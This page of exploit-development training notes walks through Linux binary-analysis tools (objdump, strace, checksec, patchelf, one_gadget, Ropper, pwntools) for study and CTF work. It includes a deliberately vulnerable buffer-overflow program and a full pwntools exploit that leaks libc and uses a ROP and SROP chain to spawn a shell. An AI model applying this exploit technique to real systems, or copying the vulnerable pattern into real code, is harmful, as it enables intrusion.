๐Ÿ”งExploit Development Tools

Hello.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
	char *ptr = malloc(30);
	strncpy(ptr, "Hello World", 11);
	printf("%s - ", ptr);
	free(ptr);
	puts("First Program");
	return 0;
}
gcc hello.c -o hello

./hello

Tool: ldd

The ldd tool displays the shared libraries loaded by programs at runtime.

These libraries have the su๏ฌƒx .so (shared object) and consist of individual ๏ฌles that contain a list of functions.

Attack opportunities range from ๏ฌnding weak ๏ฌle permissions and using rpath to replace a shared library with an evil one, to being able to leak an address of a loaded library, and even abusing its interesting gadgets to achieve execution ๏ฌ‚ow control with ROP/JOP code-reuse attack techniques.

ldd /bin/ls

Tool: objdump

We can use objdump as a command-line disassembler and also to get important information about executable ๏ฌles and objects.

Getting the Global Offset Table (GOT) and Procedure Linkage Table (PLT)

With the -R option, you can display the list of functions in the GOT:

objdump -R ./hello

Now letโ€™s use objdump to locate the address that will be called in the PLT to get to the puts() function:

objdump -M intel -d -j .plt ./hello | grep 4020
  • -M intel tells objdump to use Intel syntax mode instead of the default (AT&T).

  • -d is short for --disassemble.

  • -j .plt speci๏ฌes the section we want to display (PLT).

Now we will use -j .text to ๏ฌnd the call to puts in the program we are analyzing:

objdump -M intel -d -j .text ./hello | grep 1040

Finding References to Constant Strings

Step 1: Using strings

strings -tx hello | grep "6th"
  • -tx (-t is for radix, x is for hexadecimal) prints the o๏ฌ€set within the ๏ฌle at the beginning of each string.

Step 2: Using objdump

objdump -M intel -d ./hello | grep -C1 200a

Tool: strace

The strace command-line utility is useful when we need to trace system calls and signals.

It uses the ptrace system call to inspect and manipulate the target program, and besides allowing us to better understand the programโ€™s behavior.

Install strace

sudo apt install strace

Run strace

strace ./hello

Trace/Filter Specific System Call

strace -e trace=write ./hello

Program behavior if write function is not implemented

strace -e trace=write -e fault=write ./hello

Inject Error EAGAIN

strace -e fault=write:error=EAGAIN ./hello

Injecting Delays

Letโ€™s inject a delay of 1 second before the read function executes (delay_enter) and a delay 1 second after the write function executes (delay_exit). By default, the expected time precision is microseconds:

strace -e inject=read:delay_enter=1000000 -e inject=write:delay_exit=1000000 ./hello

Reference

Modern strace

Tool: ltrace

The main purpose of the ltrace utility is to trace calls to shared libraries and their responses, but it can also be used to trace system calls.

Install ltrace

sudo apt install ltrace

Run ltrace

ltrace ./hello

Display System Calls

ltrace -S ./hello

Tool: checksec

The checksec shell script parses a programโ€™s ELF header to determine which compile-time mitigation technologies are being used, such as RELRO, NX, Stack Canaries, ASLR, and PIE.

Install checksec

sudo apt install checksec
git clone https://github.com/slimm609/checksec.sh

Run checksec

./checksec --file=./hello

Compile hello.c with security mitigations

gcc hello.c -Wl,-z,relro,-z,now -O2 -D_FORTIFY_SOURCE=2 -s -fstack-protector-all -o hello-stronger

Run hello-stronger

./hello-stronger

libc-database

Sometimes you manage to ๏ฌnd and exploit an information leak vulnerability, but it is impossible to calculate the o๏ฌ€set to the libc base or other functions unless you know the libc version being used on the remote host. The libc-database downloads a list of con๏ฌgured libc versions, extracts the symbol o๏ฌ€sets, and allows you to query the function name and leaked address in order to identify the libc version being used.

Clone libc-database

git clone https://github.com/niklasb/libc-database.git

Download libc version for Kali

./get kali

Find libc versions

Get puts offset

readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep puts

Find script

./find puts 765f0

Online Database

Online Database

Tool: patchelf

The patchelf command-line utility allows us to modify the libraries of an ELF executable. It is very useful when we are doing heap analysis on a di๏ฌ€erent libc version than the one being used by the remote system, or when we donโ€™t have access to the source code and want to run multiple libc versions on the same system.

Install patchelf

sudo apt install patchelf

Patching hello binary

We ๏ฌrst create the lib folder and copy the systemโ€™s ld-linux.so and libc:

mkdir lib

cp /lib64/ld-linux-x86-64.so.2 lib/my-ld.so

cp /lib/x86-64-linux-gnu/libc-2.31.so lib

ln -s libc-2.31.so lib/libc.so.6

Patch Hello binary

patchelf --set-interpreter ./lib/my-ld.so --set-rpath ./lib hello
ldd hello
./hello

Tool: one_gadget

One_gadgets are found in libc and provide a simple way of getting a shell by jumping to a single gadget to execute execve("/bin/sh", NULL, NULL)

We can ๏ฌnd these magical gadgets in one of two ways: by manually using strings and objdump or by using the one_gadget tool.

Manually Using Strings and objdump

Getting offeset address using strings

strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh

Look for references using objdump

objdump -M intel -d /lib/x86_64-linux-gnu/libc.so.6 | grep -C8 1d8678

Using the one_gadget Tool

Install one_gadget

gem install one_gadget

Run one_gadget

one_gadget /lib/x86_64-linux-gnu/libc.so.6

Tool: Ropper

Ropper is a useful tool for generating ROP chains and ๏ฌnding code reuse gadgets. It is capable of loading ELF, PE, and Mach-O binary ๏ฌle formats, and it supports multiple architectures (x86, x86_64, MIPS, MIPS64, ARM/Thumb, ARM64, PowerPC, and Sparc) using the Capstone disassembly framework

Install Ropper

sudo apt install ropper

OR

pip3 install ropper

GitHub

Create a ROP Chain

ROP chain that calls mprotect() to enable executable permission on an arbitrary address:

ropper --file hello --chain 'mprotect address=0xdeadbabe size=0x1000'

Extending gdb with Python

Support for extending gdb with Python was added in version 7. This feature is only available if gdb was compiled with the con๏ฌguration option --with-python.

GDB Scripts

  • Gef: GDB enhanced features for exploit developers and reverse engineers

  • Pwndbg: Exploit development and reverse engineering with GDB Made Easy

  • PEDA: Python Exploit Development Assistance for GDB

Pwntools CTF Framework and Exploit Development Library

Pwntools is a capture the ๏ฌ‚ag (CTF) and exploit development library thatโ€™s excellent for the rapid prototyping of exploits. It saves you signi๏ฌcant time and e๏ฌ€ort when writing common exploitation tasks, letting you focus on the logics of your exploit, as well as provides a vast set of useful features.

Install pwntools

sudo apt-get update

sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential

python3 -m pip install --upgrade pip

python3 -m pip install --upgrade pwntools

Summary of Features

python3 

from pwn import *

Packing and Unpacking Strings

p8(0)

p32(0xdeadbeef)

p64(0xdeadbeef, endian='big')

Assemble and Dissamble Code

asm('nop')

print(disasm(b'\x8b\x45\xfc'))

ELF symbol resolver

ELF("/lib/x86_64-linux-gnu/libc.so.6")

Other features include functions to assist with common exploitation primitives and techniques, such as building ROP chains, shellcodes and SROP structures, dynamic memory leak helpers, format string exploitation, cyclic pattern generation, and more.

leak-bof.c

leak-bof.c

// leak-bof.c
#include <stdio.h>
#include <unistd.h>

void vuln() {
    char buff[128];
    printf("Overflows with 128 bytes: ");
    fflush(stdout);
    read(0, buff, 2000);
}

int main(int argc, char **argv) {
    printf("I'm leaking printf: %p\n", (long)printf);
    vuln();
}
gcc -o leak-bof leak-bof.c

leak-bof-exploit.py

#!/usr/bin/env python3

from pwn import *
context.update(arch='amd64', os='linux')

elf = ELF("./leak-bof")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.33.so")
p = process("./leak-bof")
l = log.progress("Stage 1: leak printf and calculate libc's base address")

p.readuntil(b"I'm leaking printf: ")
libc.address = int(p.readline(), 16) - libc.sym['printf']
l.success(f"0x{libc.address:x}")
rop = ROP(libc.file.name)

l = log.progress("Stage 2: pop a shell with ROP + SROP payload")
bin_sh = next(libc.search(b'/bin/sh'))
syscall = libc.address + rop.syscall.address

rop.raw(libc.address + rop.find_gadget(['pop rax', 'ret']).address)
rop.raw(constants.SYS_rt_sigreturn)
rop.raw(syscall)

# build SROP frame
frame = SigreturnFrame(kernel="amd64", arch="amd64")
frame.rax = constants.SYS_execve
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rsp = bin_sh
frame.rip = syscall

# send stack smash and payload
p.sendlineafter(b": ", b"A"*136 + rop.chain() + bytes(frame))
l.success('Enjoy!')
p.interactive()
python3 leak-bof-exploit.py

HeapME (Heap Made Easy) Heap Analysis and Collaboration Tool

Install HeapME

git clone https://github.com/htejeda/gef.git

pip install -r gef/requirements.txt

echo "source ~/gef/gef.py\nsource ~/gef/scripts/heapme.py" > ~/.gdbinit
gdb

help heapme

heapme_demo.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void *x[8];

int main() {
    for (int i=0; i < 8; i++) {
        x[i] = malloc(0x38);
        memset(x[i], (i + 0x30), 0x38);
    }

    for (int i=0; i < 8; i++)
        free(x[i]);

    fprintf(stderr, "Press CTRL+C to exit.\n");
    pause();
    return 0;
}
gcc heapme_demo.c -o heapme_demo

Register and Login

HeapME

Debug ./heapme_demo

gdb ./heapme_demo

start

heap-analysis-helper

heapme init https://heapme.f2tc.com/<your-token>

heapme watch malloc

heapme watch free

continue

Last updated